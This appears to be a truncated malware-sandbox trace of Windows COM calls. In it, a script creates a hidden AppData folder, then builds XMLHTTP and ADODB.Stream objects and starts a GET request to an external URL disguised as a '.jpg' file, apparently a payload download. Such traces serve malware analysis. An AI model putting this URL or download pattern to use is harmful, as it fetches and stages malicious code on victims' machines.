	[0052.375] IUnknown:QueryInterface (in: This=0x92e593d210, riid=0x7ffbed4ca8f8*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x92e559cb68 | out: ppvObject=0x92e559cb68*=0x0) returned 0x80004002
	[0052.375] IUnknown:QueryInterface (in: This=0x92e593d210, riid=0x7ffbed4c7858*(Data1=0xa0aac450, Data2=0xa77b, Data3=0x11cf, Data4=([0]=0x91, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xc1, [6]=0x4a, [7]=0x7c)), ppvObject=0x92e559caf0 | out: ppvObject=0x92e559caf0*=0x0) returned 0x80004002
	[0052.375] IUnknown:QueryInterface (in: This=0x92e593d210, riid=0x7ffbed4ca8b8*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559caf8 | out: ppvObject=0x92e559caf8*=0x92e593d210) returned 0x0
	[0052.375] IUnknown:Release (This=0x92e593d210) returned 0x1
	[0052.375] IDispatch:GetIDsOfNames (in: This=0x92e593d210, riid=0x7ffbed4ca8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x92e559cbd8*="CreateFolder", cNames=0x1, lcid=0x7ffb00000409, rgDispId=0x92e559cbe8 | out: rgDispId=0x92e559cbe8*=1120) returned 0x0
	[0052.376] IUnknown:AddRef (This=0x92e593d210) returned 0x2
	[0052.376] IDispatch:Invoke (in: This=0x92e593d210, dispIdMember=1120, riid=0x7ffbed4ca8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x92e559cc30*(rgvarg=([0]=0x92e559cca0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x92e559cc50, puArgErr=0x92e559cbd0 | out: pDispParams=0x92e559cc30*(rgvarg=([0]=0x92e559cca0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x92e559cc50*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x92e559cbd0*=0x0) returned 0x0
	[0052.378] IUnknown:Release (This=0x92e593d210) returned 0x1
	[0052.378] CLSIDFromProgIDEx (in: lpszProgID="MSXML2.XMLHTTP", lpclsid=0x92e559b010 | out: lpclsid=0x92e559b010*(Data1=0xf6d90f16, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0
	[0052.379] SysStringLen (param_1=0x0) returned 0x0
	[0052.379] CoGetClassObject (in: rclsid=0x92e559b010*(Data1=0xf6d90f16, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffbed4ca788*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x92e559afd0 | out: ppv=0x92e559afd0*=0x7ffbebd493b0) returned 0x0
	[0053.102] XMLHTTP:IUnknown:QueryInterface (in: This=0x7ffbebd493b0, riid=0x7ffbed4ca798*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x92e559afd8 | out: ppvObject=0x92e559afd8*=0x0) returned 0x80004002
	[0053.102] XMLHTTP:IClassFactory:CreateInstance (in: This=0x7ffbebd493b0, pUnkOuter=0x0, riid=0x7ffbed4ca8a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559afc8 | out: ppvObject=0x92e559afc8*=0x92e7d657f0) returned 0x0
	[0053.108] XMLHTTP:IUnknown:Release (This=0x7ffbebd493b0) returned 0x1
	[0053.108] IUnknown:QueryInterface (in: This=0x92e7d657f0, riid=0x7ffbed4ca768*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x92e559af90 | out: ppvObject=0x92e559af90*=0x92e7d65830) returned 0x0
	[0053.109] IObjectWithSite:SetSite (This=0x92e7d65830, pUnkSite=0x92e5936bc0) returned 0x0
	[0053.109] IUnknown:AddRef (This=0x92e5936bc0) returned 0x2
	[0053.109] IUnknown:AddRef (This=0x92e5936bc0) returned 0x3
	[0053.109] IUnknown:QueryInterface (in: This=0x92e5936bc0, riid=0x7ffc01a5eef8*(Data1=0x39, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559ac78 | out: ppvObject=0x92e559ac78*=0x0) returned 0x80004002
	[0053.109] IUnknown:QueryInterface (in: This=0x92e5936bc0, riid=0x7ffc01a5eea8*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559ac60 | out: ppvObject=0x92e559ac60*=0x0) returned 0x80004002
	[0053.109] IUnknown:QueryInterface (in: This=0x92e5936bc0, riid=0x7ffc01a5e4e0*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x92e559ac80 | out: ppvObject=0x92e559ac80*=0x0) returned 0x80004002
	[0053.110] IUnknown:QueryInterface (in: This=0x92e5936bc0, riid=0x7ffc01a5e4f0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559ac70 | out: ppvObject=0x92e559ac70*=0x0) returned 0x80004002
	[0053.110] IUnknown:Release (This=0x92e5936bc0) returned 0x2
	[0053.110] IUnknown:AddRef (This=0x92e5936bc0) returned 0x3
	[0053.110] IUnknown:Release (This=0x92e5936bc0) returned 0x2
	[0053.110] IUnknown:QueryInterface (in: This=0x92e5936bc0, riid=0x7ffbebd3e0d0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559aee0 | out: ppvObject=0x92e559aee0*=0x92e5936bc0) returned 0x0
	[0053.115] IUnknown:QueryInterface (in: This=0x92e5936bc0, riid=0x7ffbebd3e0c0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x92e5599ce8 | out: ppvObject=0x92e5599ce8*=0x92e5936bc0) returned 0x0
	[0053.115] IServiceProvider:QueryService (in: This=0x92e5936bc0, guidService=0x7ffbebd3e0f0*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x7ffbebd3ece8*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e5599d10 | out: ppvObject=0x92e5599d10*=0x0) returned 0x80004002
	[0053.115] IServiceProvider:QueryService (in: This=0x92e5936bc0, guidService=0x7ffbebd3e0b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x7ffbebd3e0b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x92e5599d30 | out: ppvObject=0x92e5599d30*=0x0) returned 0x80004002
	[0053.115] IServiceProvider:QueryService (in: This=0x92e5936bc0, guidService=0x7ffbebd3e0e0*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x7ffbebd3e090*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x92e5599cf0 | out: ppvObject=0x92e5599cf0*=0x0) returned 0x80004002
	[0053.115] IServiceProvider:QueryService (in: This=0x92e5936bc0, guidService=0x7ffbebd3e080*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x7ffbebd3e090*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x92e5599cf0 | out: ppvObject=0x92e5599cf0*=0x0) returned 0x80004002
	[0053.115] IUnknown:Release (This=0x92e5936bc0) returned 0x3
	[0053.115] IUnknown:QueryInterface (in: This=0x92e5936bc0, riid=0x7ffbebd3e0a0*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x92e5599dd8 | out: ppvObject=0x92e5599dd8*=0x0) returned 0x80004002
	[0053.116] IUnknown:QueryInterface (in: This=0x92e5936bc0, riid=0x7ffbebd3e100*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e5599de8 | out: ppvObject=0x92e5599de8*=0x0) returned 0x80004002
	[0053.116] IUnknown:QueryInterface (in: This=0x92e5936bc0, riid=0x7ffbebd3e0c0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x92e5599dd0 | out: ppvObject=0x92e5599dd0*=0x92e5936bc0) returned 0x0
	[0053.116] IServiceProvider:QueryService (in: This=0x92e5936bc0, guidService=0x7ffbebd3e0f0*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x7ffbebd3ece8*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e5599e00 | out: ppvObject=0x92e5599e00*=0x0) returned 0x80004002
	[0053.116] IServiceProvider:QueryService (in: This=0x92e5936bc0, guidService=0x7ffbebd3e080*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x7ffbebd3e0a0*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x92e5599dd8 | out: ppvObject=0x92e5599dd8*=0x0) returned 0x80004002
	[0053.116] IServiceProvider:QueryService (in: This=0x92e5936bc0, guidService=0x7ffbebd3e0e0*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x7ffbebd3e090*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x92e5599de0 | out: ppvObject=0x92e5599de0*=0x0) returned 0x80004002
	[0053.116] IServiceProvider:QueryService (in: This=0x92e5936bc0, guidService=0x7ffbebd3e080*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x7ffbebd3e090*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x92e5599de0 | out: ppvObject=0x92e5599de0*=0x0) returned 0x80004002
	[0053.116] IUnknown:Release (This=0x92e5936bc0) returned 0x3
	[0053.116] IUnknown:Release (This=0x92e5936bc0) returned 0x2
	[0053.116] IUnknown:QueryInterface (in: This=0x92e5936bc0, riid=0x7ffbebd3e0c0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x92e559aef8 | out: ppvObject=0x92e559aef8*=0x92e5936bc0) returned 0x0
	[0053.116] IServiceProvider:QueryService (in: This=0x92e5936bc0, guidService=0x7ffbebd3e080*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x7ffbebd3e080*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x92e559aef0 | out: ppvObject=0x92e559aef0*=0x0) returned 0x80004002
	[0053.116] IUnknown:Release (This=0x92e5936bc0) returned 0x2
	[0053.116] IUnknown:Release (This=0x92e7d65830) returned 0x1
	[0053.117] IUnknown:QueryInterface (in: This=0x92e7d657f0, riid=0x7ffbed4ca8d8*(Data1=0x9bcb0016, Data2=0xbc2a, Data3=0x47b7, Data4=([0]=0x81, [1]=0x54, [2]=0x85, [3]=0x80, [4]=0xa1, [5]=0x5c, [6]=0x3f, [7]=0xf0)), ppvObject=0x92e559af40 | out: ppvObject=0x92e559af40*=0x0) returned 0x80004002
	[0053.117] IUnknown:QueryInterface (in: This=0x92e7d657f0, riid=0x7ffbed4ca8e8*(Data1=0x719c3050, Data2=0xf9d3, Data3=0x11cf, Data4=([0]=0xa4, [1]=0x93, [2]=0x0, [3]=0x40, [4]=0x5, [5]=0x23, [6]=0xa8, [7]=0xa0)), ppvObject=0x92e559af50 | out: ppvObject=0x92e559af50*=0x0) returned 0x80004002
	[0053.117] IUnknown:QueryInterface (in: This=0x92e7d657f0, riid=0x7ffbed4ca8f8*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x92e559af58 | out: ppvObject=0x92e559af58*=0x0) returned 0x80004002
	[0053.117] IUnknown:QueryInterface (in: This=0x92e7d657f0, riid=0x7ffbed4c7858*(Data1=0xa0aac450, Data2=0xa77b, Data3=0x11cf, Data4=([0]=0x91, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xc1, [6]=0x4a, [7]=0x7c)), ppvObject=0x92e559aee0 | out: ppvObject=0x92e559aee0*=0x0) returned 0x80004002
	[0053.117] IUnknown:QueryInterface (in: This=0x92e7d657f0, riid=0x7ffbed4ca8b8*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559aee8 | out: ppvObject=0x92e559aee8*=0x92e7d657b0) returned 0x0
	[0053.117] IUnknown:Release (This=0x92e7d657f0) returned 0x1
	[0053.117] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x92e559b010 | out: lpclsid=0x92e559b010*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0
	[0053.118] SysStringLen (param_1=0x0) returned 0x0
	[0053.118] CoGetClassObject (in: rclsid=0x92e559b010*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffbed4ca788*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x92e559afd0 | out: ppv=0x92e559afd0*=0x92e5637580) returned 0x0
	[0053.607] Stream:IUnknown:QueryInterface (in: This=0x92e5637580, riid=0x7ffbed4ca798*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x92e559afd8 | out: ppvObject=0x92e559afd8*=0x0) returned 0x80004002
	[0053.607] Stream:IClassFactory:CreateInstance (in: This=0x92e5637580, pUnkOuter=0x0, riid=0x7ffbed4ca8a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559afc8 | out: ppvObject=0x92e559afc8*=0x92e5678580) returned 0x0
	[0053.613] Stream:IUnknown:Release (This=0x92e5637580) returned 0x1
	[0053.613] IUnknown:QueryInterface (in: This=0x92e5678580, riid=0x7ffbed4ca768*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x92e559af90 | out: ppvObject=0x92e559af90*=0x92e56785e0) returned 0x0
	[0053.616] IObjectWithSite:SetSite (This=0x92e56785e0, pUnkSite=0x92e593e250) returned 0x0
	[0053.617] IUnknown:AddRef (This=0x92e593e250) returned 0x2
	[0053.617] IUnknown:QueryInterface (in: This=0x92e593e250, riid=0x7ffc01a5eee8*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x92e559ade8 | out: ppvObject=0x92e559ade8*=0x0) returned 0x80004002
	[0053.617] IUnknown:AddRef (This=0x92e593e250) returned 0x3
	[0053.617] IUnknown:QueryInterface (in: This=0x92e593e250, riid=0x7ffc01a5eef8*(Data1=0x39, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559ace8 | out: ppvObject=0x92e559ace8*=0x0) returned 0x80004002
	[0053.617] IUnknown:QueryInterface (in: This=0x92e593e250, riid=0x7ffc01a5eea8*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559acd0 | out: ppvObject=0x92e559acd0*=0x0) returned 0x80004002
	[0053.617] IUnknown:QueryInterface (in: This=0x92e593e250, riid=0x7ffc01a5e4e0*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x92e559acf0 | out: ppvObject=0x92e559acf0*=0x0) returned 0x80004002
	[0053.617] IUnknown:QueryInterface (in: This=0x92e593e250, riid=0x7ffc01a5e4f0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559ace0 | out: ppvObject=0x92e559ace0*=0x0) returned 0x80004002
	[0053.617] IUnknown:Release (This=0x92e593e250) returned 0x2
	[0053.617] IUnknown:AddRef (This=0x92e593e250) returned 0x3
	[0053.617] IUnknown:Release (This=0x92e593e250) returned 0x2
	[0053.617] IUnknown:QueryInterface (in: This=0x92e593e250, riid=0x7ffbeb906ed8*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559aec8 | out: ppvObject=0x92e559aec8*=0x0) returned 0x80004002
	[0053.617] IUnknown:QueryInterface (in: This=0x92e593e250, riid=0x7ffbeb906f28*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x92e559aed0 | out: ppvObject=0x92e559aed0*=0x92e593e250) returned 0x0
	[0053.618] IServiceProvider:QueryService (in: This=0x92e593e250, guidService=0x7ffbeb906f38*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x7ffbeb904848*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x92e559af18 | out: ppvObject=0x92e559af18*=0x0) returned 0x80004002
	[0053.618] IUnknown:Release (This=0x92e593e250) returned 0x2
	[0053.618] IUnknown:QueryInterface (in: This=0x92e593e250, riid=0x7ffbeb906f28*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x92e559aed8 | out: ppvObject=0x92e559aed8*=0x92e593e250) returned 0x0
	[0053.618] IServiceProvider:QueryService (in: This=0x92e593e250, guidService=0x7ffbeb906f48*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x7ffbeb906f48*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x92e559aed0 | out: ppvObject=0x92e559aed0*=0x0) returned 0x80004002
	[0053.618] IUnknown:Release (This=0x92e593e250) returned 0x2
	[0053.618] IUnknown:Release (This=0x92e56785e0) returned 0x1
	[0053.618] IUnknown:QueryInterface (in: This=0x92e5678580, riid=0x7ffbed4ca8d8*(Data1=0x9bcb0016, Data2=0xbc2a, Data3=0x47b7, Data4=([0]=0x81, [1]=0x54, [2]=0x85, [3]=0x80, [4]=0xa1, [5]=0x5c, [6]=0x3f, [7]=0xf0)), ppvObject=0x92e559af40 | out: ppvObject=0x92e559af40*=0x0) returned 0x80004002
	[0053.618] IUnknown:QueryInterface (in: This=0x92e5678580, riid=0x7ffbed4ca8e8*(Data1=0x719c3050, Data2=0xf9d3, Data3=0x11cf, Data4=([0]=0xa4, [1]=0x93, [2]=0x0, [3]=0x40, [4]=0x5, [5]=0x23, [6]=0xa8, [7]=0xa0)), ppvObject=0x92e559af50 | out: ppvObject=0x92e559af50*=0x0) returned 0x80004002
	[0053.618] IUnknown:QueryInterface (in: This=0x92e5678580, riid=0x7ffbed4ca8f8*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x92e559af58 | out: ppvObject=0x92e559af58*=0x0) returned 0x80004002
	[0053.618] IUnknown:QueryInterface (in: This=0x92e5678580, riid=0x7ffbed4c7858*(Data1=0xa0aac450, Data2=0xa77b, Data3=0x11cf, Data4=([0]=0x91, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xc1, [6]=0x4a, [7]=0x7c)), ppvObject=0x92e559aee0 | out: ppvObject=0x92e559aee0*=0x0) returned 0x80004002
	[0053.618] IUnknown:QueryInterface (in: This=0x92e5678580, riid=0x7ffbed4ca8b8*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559aee8 | out: ppvObject=0x92e559aee8*=0x92e5678580) returned 0x0
	[0053.619] IUnknown:Release (This=0x92e5678580) returned 0x1
	[0053.619] IDispatch:GetIDsOfNames (in: This=0x92e7d657b0, riid=0x7ffbed4ca8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x92e559afc8*="Open", cNames=0x1, lcid=0x7ffb00000409, rgDispId=0x92e559afd8 | out: rgDispId=0x92e559afd8*=1) returned 0x0
	[0053.620] IUnknown:AddRef (This=0x92e7d657b0) returned 0x2
	[0053.620] IDispatch:Invoke (in: This=0x92e7d657b0, dispIdMember=1, riid=0x7ffbed4ca8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x92e559b020*(rgvarg=([0]=0x92e559b090*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x92e77e0000, varVal2=0x0), [1]=0x92e559b0a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="https://www.wkc.co.id/heritage58.com/js/lib/inode.jpg", varVal2=0x92e5937da0), [2]=0x92e559b0c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="GET", varVal2=0x92e5937da0)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x92e559b040, puArgErr=0x92e559afc0 | out: pDispParams=0x92e559b020*(rgvarg=([0]=0x92e559b090*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x92e77e0000, varVal2=0x0), [1]=0x92e559b0a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="https://www.wkc.co.id/heritage58.com/js/lib/inode.jpg", varVal2=0x92e5937da0), [2]=0x92e559b0c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="GET", 